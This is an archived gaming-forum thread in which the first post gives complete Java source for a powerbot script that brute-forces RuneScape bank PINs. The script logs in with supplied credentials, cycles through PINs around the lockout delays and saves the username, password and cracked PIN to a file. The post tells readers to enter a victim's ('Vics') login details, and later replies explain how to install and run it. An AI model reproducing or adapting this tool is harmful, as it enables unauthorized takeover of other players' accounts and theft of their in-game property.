A preserved archive of the Logical Gamers community forums, 2009-2025. The original threads and posts, served read-only. Registration, posting and private messages are gone for good.

Bank Pin Cracker

1.4k views · started by Reserved ·
#1
Bank Pin Cracker
It's for powerbot. It works.
Make sure to change USERNAME to Vics username. And Password to Vics password.
Put randoms off.

Spoiler

import java.util.logging.Level;
import org.rsbot.script.Script;
import org.rsbot.script.ScriptManifest;
import org.rsbot.script.wrappers.RSComponent;
import org.rsbot.event.listeners.PaintListener;
import java.awt.*;
import java.io.*;
import org.rsbot.Configuration;

@ScriptManifest(authors = "Pork", name = "PINCracker", description = "Cracks bank PIN's.", version = 1.0)
public class PINCracker extends Script implements PaintListener {

private String username = "USERNAME"; // Change username to your RuneScape username
private String password = "PASSWORD"; // Change password to your RuneScape password
private String pin = "0000"; // Change this if you don't want the script to start @ 0000

private int state;
private int tried = 0;
private long banktimeout = 10;

//Paint variables
public long startTime = 0;
public long millis = 0;
public long hours = 0;
public long minutes = 0;
public long seconds = 0;
public long last = 0;
public int totalTried = 0;
public int pinsPerHour = 0;
public String currentPin = pin;
public long attemptTime = 0;

public boolean activateCondition() {
return interfaces.get(13).isValid() || interfaces.getComponent(14, 34).isValid();
}

public long bankTimeout() {
return banktimeout;
}

public void enterCode(final String aPin) {
if (!interfaces.get(13).isValid())
return;
final RSComponent[] children = interfaces.get(13).getComponents();
state = 0;
for (int i = 1; i < 5; i++) {
if (children[i].containsText("?")) {
state++;
}
}
state = 4 - state;
if (!interfaces.get(759).isValid())
return;
final RSComponent[] bankPin = interfaces.get(759).getComponents();
if (state >= 3)
sleep(300, 600);
for (int i = 0; i < bankPin.length; i++) {
if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
final RSComponent[] childrenBefore = interfaces.get(13).getComponents();
int stateBefore = 0;
int stateAfter = 0;
for (int j=1; j<5; j++) {
if (childrenBefore[j].containsText("?"))
stateBefore++;
}
bankPin[i].doClick();
sleep(500);
while (stateBefore == stateAfter) {
final RSComponent[] childrenAfter = interfaces.get(13).getComponents();
for (int k=1; k<5; k++) {
if (childrenAfter[k].containsText("?"))
stateAfter++;
}
sleep(500);
}
break;
}
}
if (state == 3) {
tried++;
totalTried++;
if (tried == 2)
sleep(11000);
else if(tried >= 3) {
sleep(2000);
if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled")))
pinIsCracked();
else {
sleep(14000);
tried = 0;
while(game.isLoggedIn())
game.logout(true);
}
}
int temp = Integer.parseInt(pin);
temp++;
if (temp >= 0 && temp <= 9)
pin = String.format("000%d", temp);
else if(temp >= 10 && temp <= 99)
pin = String.format("00%d", temp);
else if(temp >= 100 && temp <= 999)
pin = String.format("0%d", temp);
else if(temp >= 1000 && temp <= 9999)
pin = "" + temp;
currentPin = pin;
}
}

public void login() {
if(interfaces.get(906).isValid()) {
if (interfaces.get(906).containsText("account has not logged out"))
mouse.click(382, 322, true);
else {
interfaces.get(906).getComponent(171).doClick();
while(interfaces.get(906).containsText("Entering game"))
sleep(500);
}
}
else if (interfaces.get(596).isValid()) {
interfaces.get(596).getComponent(65).doClick();
sleep(1000);
keyboard.sendText(username, false);
interfaces.get(596).getComponent(71).doClick();
sleep(1000);
keyboard.sendText(password, false);
interfaces.get(596).getComponent(51).doClick();
while(game.isLoginScreen())
sleep(500);
}
}

public void pinIsCracked() {
log("PIN SUCCESSFULLY CRACKED!");
log.log(Level.WARNING, "PIN: {0}", pin);
try {
BufferedWriter out = new BufferedWriter(new FileWriter(new File(Configuration.Paths.getSettingsDirectory(),"PINCracker.txt")));
out.write("Username: " + username);
out.newLine();
out.write("Password: " + password);
out.newLine();
out.write("PIN: " + pin);
out.newLine();
log("Info wrote to " + Configuration.Paths.getSettingsDirectory());
out.close();
}
catch (IOException e) {
log.warning(e.getMessage());
}
while(game.isLoggedIn())
game.logout(false);
stopScript();
}

@Override
public boolean onStart() {
startTime = System.currentTimeMillis();
mouse.setSpeed(1);
return true;
}

@Override
public int loop() {
if (game.isLoggedIn()) {
if (interfaces.get(13).isValid()) {
enterCode(pin);
sleep(500,1000);
}
else if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled")))
pinIsCracked();
else
bank.open();
}
else {
login();
}
return random(200,500);
}

public void onRepaint(Graphics g1) {
Graphics2D g = (Graphics2D)g1;

millis = System.currentTimeMillis() - startTime;
hours = millis / (1000 * 60 * 60);
millis -= hours * (1000 * 60 * 60);
minutes = millis / (1000 * 60);
millis -= minutes * (1000 * 60);
seconds = millis / 1000;
String hoursString = "" + hours;
String minutesString = "" + minutes;
String secondsString = "" + seconds;
if (hours < 10)
hoursString = "0" + hours;
if (minutes < 10)
minutesString = "0" + minutes;
if (seconds < 10)
secondsString = "0" + seconds;

g.setColor(new Color(0, 0, 255, 200));
g.fillRect(5, 5, 190, 65);
g.setFont(new Font("Arial", Font.BOLD, 15));
g.setColor(Color.WHITE);
g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
g.drawString("Current PIN Attempt: " + currentPin, 10, 50);
g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
}
}[/k][/i][/j][/i][/i]
#2
nice this is cool.
#3
How do you put it into powerbot ^^;;;?
#4
Nerasin wrote:
How do you put it into powerbot ^^;;;?


Open Notepad.
Copy that
Save as PINCracker.java
My Documents
Powerbot
Scripts? Not sure, I don't play RS anymore. But that should get you in the general direction :P
#5
Bank Pin cracker is a fail idea because after a couple attempts you have to wait forrever. haha Im still running it tho. Thanks for this.